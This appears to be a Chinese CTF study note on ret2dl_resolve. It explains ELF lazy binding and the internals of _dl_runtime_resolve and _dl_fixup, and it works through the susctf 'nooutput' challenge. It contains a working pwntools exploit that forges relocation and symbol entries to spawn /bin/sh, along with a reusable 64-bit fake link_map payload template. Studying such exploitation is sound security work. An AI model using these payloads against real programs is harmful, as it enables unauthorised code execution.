ret2dl_resolve
ret2dl_resolve
elf的动态链接
在Linux中,got表存jmp xxx;这个xxx就是路径
库函数的调用
延迟绑定技术
sub_aaaa:
call _puts ;
_puts :
jmp dds:off_xxxxx ;
但是这里会使用延迟绑定技术,这个off里面的内容会在它被调用的时候放入got表。
在动态调用时,会调用_dl_runtime_resolve
,该函数通过两个参数获取导出的参数的地址,并存入got表,而后调用这个库函数(该库函数不会被延迟绑定!!)
_dl_runtime_resolve
具体作用
这个函数有两个参数:
link_map
:访问.dynamic
,获得.dynstr,.dynsym,.rel.plt
指针offset
:通过与.rel.plt
结合用于求当前函数的重定位表rel
- 而后通过
rel->r_info >> 8
取为下标,在.dynsym
中求出当前函数的符号表项指针sym
.dynstr _ sym->st_name
求出符号名字字符串- 在动态链接库查找函数地址,赋值给got
- 调用函数
利用
DT_STRTAB
- 在
No RELRO
时使用 - 修改偏移
- 主要是修改名字,因为会通过名字和偏移找函数
操作第二个参数
- 在
.dynamic
不可写时使用 - 伪造
Elf32_Rel
,放入r_info
字段
伪造link_map
较难,暂时不懂
事例
题目来自susctf校赛nooutput
过程分析
► 0x80482e0 <read@plt> jmp dword ptr [read@got.plt] <0x804a00c>
0x80482e6 <read@plt+6> push 0
0x80482eb <read@plt+11> jmp 0x80482d0 <0x80482d0>
↓
0x80482d0 push dword ptr [0x804a004]
0x80482d6 jmp dword ptr [0x804a008] <_dl_runtime_resolve>
↓
0xf7fd8fe0 <_dl_runtime_resolve> endbr32
0xf7fd8fe4 <_dl_runtime_resolve+4> push eax
0xf7fd8fe5 <_dl_runtime_resolve+5> push ecx
0xf7fd8fe6 <_dl_runtime_resolve+6> push edx
0xf7fd8fe7 <_dl_runtime_resolve+7> mov edx, dword ptr [esp + 0x10]
0xf7fd8feb <_dl_runtime_resolve+11> mov eax, dword ptr [esp + 0xc]
可以看到首先存储了两个参数,然后jmp到_dl_runtime_resolve。那么我们再来看一下这两个值到底是啥:
pwndbg> x/4wx 0x804a004
0x804a004: 0xf7ffda40 0xf7fd8fe0 0x080482e6 0xf7c21560
可以看到,008就是_dl_runtime_resolve的地址,前面那个是什么呢:
pwndbg> x/4wx 0xf7ffda40
0xf7ffda40: 0x00000000 0xf7ffdd40 0x08049f14 0xf7fbe000
可以发现,这个指针下面有一个0x08049f14,这个地址是link_map的地址!
LOAD:08049F14 ; Segment type: Pure data
LOAD:08049F14 ; Segment permissions: Read/Write
LOAD:08049F14 LOAD segment mempage public 'DATA' use32
LOAD:08049F14 assume cs:LOAD
LOAD:08049F14 ;org 8049F14h
LOAD:08049F14 01 00 00 00 01 00 00 00 stru_8049F14 Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14 ; .got.plt:off_804A000↓o
LOAD:08049F14 ; DT_NEEDED libc.so.6
LOAD:08049F1C 0C 00 00 00 A8 82 04 08 Elf32_Dyn <0Ch, <80482A8h>> ; DT_INIT
LOAD:08049F24 0D 00 00 00 24 85 04 08 Elf32_Dyn <0Dh, <8048524h>> ; DT_FINI
LOAD:08049F2C 19 00 00 00 0C 9F 04 08 Elf32_Dyn <19h, <8049F0Ch>> ; DT_INIT_ARRAY
LOAD:08049F34 1B 00 00 00 04 00 00 00 Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
LOAD:08049F3C 1A 00 00 00 10 9F 04 08 Elf32_Dyn <1Ah, <8049F10h>> ; DT_FINI_ARRAY
LOAD:08049F44 1C 00 00 00 04 00 00 00 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:08049F4C F5 FE FF 6F AC 81 04 08 Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
> LOAD:08049F54 05 00 00 00 1C 82 04 08 Elf32_Dyn <5, <804821Ch>> ; DT_STRTAB
> LOAD:08049F5C 06 00 00 00 CC 81 04 08 Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
LOAD:08049F64 0A 00 00 00 4A 00 00 00 Elf32_Dyn <0Ah, <4Ah>> ; DT_STRSZ
LOAD:08049F6C 0B 00 00 00 10 00 00 00 Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F74 15 00 00 00 00 00 00 00 Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F7C 03 00 00 00 00 A0 04 08 Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
LOAD:08049F84 02 00 00 00 10 00 00 00 Elf32_Dyn <2, <10h>> ; DT_PLTRELSZ
LOAD:08049F8C 14 00 00 00 11 00 00 00 Elf32_Dyn <14h, <11h>> ; DT_PLTREL
> LOAD:08049F94 17 00 00 00 98 82 04 08 Elf32_Dyn <17h, <8048298h>> ; DT_JMPREL
LOAD:08049F9C 11 00 00 00 90 82 04 08 Elf32_Dyn <11h, <8048290h>> ; DT_REL
LOAD:08049FA4 12 00 00 00 08 00 00 00 Elf32_Dyn <12h, <8>> ; DT_RELSZ
LOAD:08049FAC 13 00 00 00 08 00 00 00 Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FB4 FE FF FF 6F 70 82 04 08 Elf32_Dyn <6FFFFFFEh, <8048270h>> ; DT_VERNEED
LOAD:08049FBC FF FF FF 6F 01 00 00 00 Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FC4 F0 FF FF 6F 66 82 04 08 Elf32_Dyn <6FFFFFF0h, <8048266h>> ; DT_VERSYM
LOAD:08049FCC 00 00 00 00 00 00 00 00 Elf32_Dyn <0> ; DT_NULL
上面讲过,这边linkmap是可以找到.dynstr,.dynsym,.rel.plt
三个指针的,如上图,并且这玩意在partical的情况下是可写的。
下一步怎么做呢:
- 通过DT_JMPREL+偏移(第二个参数,push 0那个)找到下面这一条:
LOAD:08048298 0C A0 04 08 07 01 00 00 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
- 通过0x107>>8=0x1来定位下标,在DT_SYMTAB中通过下标找到:
LOAD:080481CC 00 00 00 00 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 1A 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aRead - offset byte_804821C, 0, 0, 12h, 0, 0> ; "read"
LOAD:080481EC 3B 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:080481FC 1F 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804820C 0B 00 00 00 3C 85 04 08 04 00+Elf32_Sym <offset aIoStdinUsed - offset byte_804821C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"
LOAD:0804821C ; ELF String Table
- 从而从DT_STRTAB中找到字符串“read”,然后在libc库中找到这个函数
- 接下来通过804A00Ch地址指向的plt表修改got.plt从而实现动态绑定。
攻击的方式其实是改变第二个参数,指向一个伪造的rel表,并且造假字符下标,从而指向一个自己定义的字符表,实现重定向。
攻击
其实就是写一个链,exp:
io = p("./susctf/nooutput",0)
elf = ELF("./susctf/nooutput")
read_addr = 0x8048471
lev_ret = 0x8048484
w_addr = 0x804a200
dl_addr = 0x80482D0
call_read_addr = 0x8048479
r_addr = 0x80482E0
payload = b"a"*0x30 + p32(w_addr-4) + p32(call_read_addr)+p32(0)+p32(w_addr)+ p32(0x500) # +p32(lev_ret)
s(payload)
bin_sh_addr = w_addr + 0x44 #0x804a544
off = 0x804a52C-0x80481CC
print(off)
print(off//16)
print(hex(off//16))
payload2 = p32(0x80482d0) + p32(w_addr + 0x10 - 0x8048298) +p32(0) + p32(bin_sh_addr)
payload2 += p32(elf.got["read"])+p32((((w_addr + 0x2c-0x80481CC)//0x10) << 8)+0x7) #0x804a510
payload2 += b"\x00"*0x8 + b"\x00"*0xc
payload2 += p32(w_addr+0x3c-0x804821C)
payload2 += p32(0)
payload2 += p32(0)
payload2 += p32(0x12)
payload2 += b"system\x00\x00"
payload2 += b"/bin/sh\x00"
# gg()
s(payload2)
link_map的伪造
对于64位程序来说,上面的方式是没有办法成功的,因为有了各种各样的检测,但是这个绑定也可以绕过。
先理解一下_dl_fixup
函数:来源:https://bbs.kanxue.com/thread-253833.htm#msg_header_h1_3
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]strtab
{
// 获取link_map中存放DT_SYMTAB的地址, 也就是.dynsym
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取link_map中存放DT_STRTAB的地址, 也就是.dynstr
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
//取出ELF_Rel
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据重定位结构体的r_info得到symtab表中对应的结构体
// 取出ELF_Sym
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; //r_info>>8
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7 r_info & 0xff
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
{
const struct r_found_version *version = NULL;
// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
RTLD_FINALIZE_FOREIGN_CALL;
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
可以看到,只需要绕过第一个if,就可以通过神奇的绑定方式来进行函数执行,而这就需要伪造linkmap,从源码和执行可以看出,分别需要伪造三个段0x68,0x70,0xf8
,然后通过绕过st_other
检测和修改l_addr
来实现换函数执行。
贴个公用模板:
def fake_link_map_gen(link_map_addr,l_addr,st_value):
fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
fake_Elf64_Dyn_STR_addr = link_map_addr
fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
fake_Elf64_rela = p64(0xffffffffffffffff+link_map_addr - l_addr) + p64(7) + p64(0)
fake_link_map = p64(l_addr) #0x8
fake_link_map += fake_Elf64_Dyn_SYM #0x10
fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
fake_link_map += fake_Elf64_rela #0x18
fake_link_map += b'\x00'*0x28
fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
# fake_link_map += b'/bin/sh\x00'.ljust(0x80,b'\x00')
fake_link_map += p64(0x4011aa)+p64(pop_rdi)+p64(link_map_addr+0xc0)#+ p64(pop_rsi) +p64(0)#+p64(leave_ret)
fake_link_map += p64(0x0401026) # jmp dl
fake_link_map += p64(link_map_addr)
fake_link_map += p64(0)
fake_link_map += p64(leave_ret)
fake_link_map += b"\x00"*0x10#b"\x00"*0x10
fake_link_map += b'/bin/sh\x00'
fake_link_map += b"\x00"*0x30
fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['setbuf'])
payload1 = fake_link_map
s(payload1)
其中需要注意:st_value
是需要修改的函数的got表位置,这个位置的上面一定要是一个已经重定向过的函数。
并且可以看到,这一个payload至少要0x100
的空间才能完成,所以要注意栈迁移的方式!